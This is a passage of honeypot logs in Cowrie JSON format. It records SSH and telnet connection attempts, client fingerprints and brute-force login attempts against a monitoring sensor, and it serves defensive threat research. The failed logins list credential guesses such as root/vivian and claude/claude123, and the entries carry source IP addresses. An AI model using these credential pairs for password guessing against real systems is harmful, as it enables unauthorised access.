sh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.523108Z","src_ip":"103.27.238.120","session":"b0574cf0ac98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vivian","message":"login attempt [root/vivian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:37.861320Z","src_ip":"200.175.61.207","session":"ba0eb9bc838a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kinder","message":"login attempt [root/kinder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:38.326964Z","src_ip":"103.27.238.120","session":"b0574cf0ac98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:39.012056Z","src_ip":"200.175.61.207","session":"ba0eb9bc838a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:39.596078Z","src_ip":"103.27.238.120","session":"b0574cf0ac98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39320,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe80ac838647","protocol":"telnet","message":"New connection: 192.119.13.58:39320 (10.17.0.5:23) [session: fe80ac838647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:42.352382Z"}
{"eventid":"cowrie.session.closed","duration":0.006157875061035156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:42.358393Z","src_ip":"192.119.13.58","session":"fe80ac838647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c52313c349","protocol":"telnet","message":"New connection: 192.119.13.58:40090 (10.17.0.5:23) [session: c0c52313c349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:42.545878Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":57454,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6bc202123e6","protocol":"ssh","message":"New connection: 49.51.202.114:57454 (159.203.135.109:22) [session: b6bc202123e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:45.516641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:45.521636Z","src_ip":"49.51.202.114","session":"b6bc202123e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:45.590203Z","src_ip":"49.51.202.114","session":"b6bc202123e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:45.894835Z","src_ip":"49.51.202.114","session":"b6bc202123e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:46.966619Z","src_ip":"49.51.202.114","session":"b6bc202123e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":50336,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fe3e635c752","protocol":"ssh","message":"New connection: 102.223.92.101:50336 (159.203.135.109:22) [session: 1fe3e635c752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:58.651314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:58.657115Z","src_ip":"102.223.92.101","session":"1fe3e635c752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:58.829976Z","src_ip":"102.223.92.101","session":"1fe3e635c752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777","message":"login attempt [root/777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:15:59.558920Z","src_ip":"102.223.92.101","session":"1fe3e635c752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:00.735892Z","src_ip":"102.223.92.101","session":"1fe3e635c752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55135,"dst_ip":"10.17.0.5","dst_port":22,"session":"f899912384b5","protocol":"ssh","message":"New connection: 152.42.212.128:55135 (10.17.0.5:22) [session: f899912384b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:07.312043Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:07.320568Z","src_ip":"152.42.212.128","session":"f899912384b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:07.324660Z","src_ip":"152.42.212.128","session":"f899912384b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46332,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab9e5158a18","protocol":"telnet","message":"New connection: 192.119.13.58:46332 (10.17.0.5:23) [session: 0ab9e5158a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:13.168636Z"}
{"eventid":"cowrie.session.closed","duration":42.98178791999817,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:13.712076Z","src_ip":"192.119.13.58","session":"fbed314de34a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50114,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cc7e1ce6a4e","protocol":"telnet","message":"New connection: 192.119.13.58:50114 (10.17.0.5:23) [session: 3cc7e1ce6a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:14.138633Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60246,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea1a7311d74","protocol":"ssh","message":"New connection: 103.75.182.198:60246 (10.17.0.5:22) [session: cea1a7311d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:15.768666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:15.773122Z","src_ip":"103.75.182.198","session":"cea1a7311d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:16.017441Z","src_ip":"103.75.182.198","session":"cea1a7311d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:16.753459Z","src_ip":"103.75.182.198","session":"cea1a7311d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:18.001365Z","src_ip":"103.75.182.198","session":"cea1a7311d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43992,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc4266fd8c6","protocol":"telnet","message":"New connection: 192.119.13.58:43992 (10.17.0.5:23) [session: 5bc4266fd8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:19.805105Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":50360,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc7934400115","protocol":"ssh","message":"New connection: 185.92.182.129:50360 (10.17.0.5:22) [session: bc7934400115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:20.415915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:20.421970Z","src_ip":"185.92.182.129","session":"bc7934400115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:20.455625Z","src_ip":"185.92.182.129","session":"bc7934400115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:20.613729Z","src_ip":"185.92.182.129","session":"bc7934400115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:21.656221Z","src_ip":"185.92.182.129","session":"bc7934400115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.898576736450195,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:23.222256Z","src_ip":"192.119.13.58","session":"0a0ee8c5fef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.46881461143494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:24.014621Z","src_ip":"192.119.13.58","session":"c0c52313c349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34744,"dst_ip":"10.17.0.5","dst_port":23,"session":"12c439a74afb","protocol":"telnet","message":"New connection: 192.119.13.58:34744 (10.17.0.5:23) [session: 12c439a74afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:24.915283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35920,"dst_ip":"10.17.0.5","dst_port":23,"session":"a75378e536a8","protocol":"telnet","message":"New connection: 192.119.13.58:35920 (10.17.0.5:23) [session: a75378e536a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:26.292260Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39912,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d16628cb64e","protocol":"telnet","message":"New connection: 192.119.13.58:39912 (10.17.0.5:23) [session: 5d16628cb64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:34.548302Z"}
{"eventid":"cowrie.session.closed","duration":36.37737154960632,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:49.545866Z","src_ip":"192.119.13.58","session":"0ab9e5158a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.632258892059326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:50.770752Z","src_ip":"192.119.13.58","session":"3cc7e1ce6a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":40132,"dst_ip":"159.203.135.109","dst_port":22,"session":"954cb8685895","protocol":"ssh","message":"New connection: 49.51.202.114:40132 (159.203.135.109:22) [session: 954cb8685895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:51.939754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:51.946235Z","src_ip":"49.51.202.114","session":"954cb8685895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:52.016112Z","src_ip":"49.51.202.114","session":"954cb8685895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxczxczxc","message":"login attempt [root/zxczxczxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:52.322727Z","src_ip":"49.51.202.114","session":"954cb8685895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.27135515213013,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:53.076325Z","src_ip":"192.119.13.58","session":"5bc4266fd8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:16:53.395090Z","src_ip":"49.51.202.114","session":"954cb8685895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":61441,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1ab20823e8","protocol":"ssh","message":"New connection: 103.219.170.37:61441 (159.203.135.109:22) [session: 8e1ab20823e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:00.447438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:00.452843Z","src_ip":"103.219.170.37","session":"8e1ab20823e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:00.526170Z","src_ip":"103.219.170.37","session":"8e1ab20823e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123456","message":"login attempt [root/abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:00.746578Z","src_ip":"103.219.170.37","session":"8e1ab20823e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":42326,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dbef8694944","protocol":"ssh","message":"New connection: 158.178.141.16:42326 (159.203.135.109:22) [session: 8dbef8694944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:17:00.867825Z"}
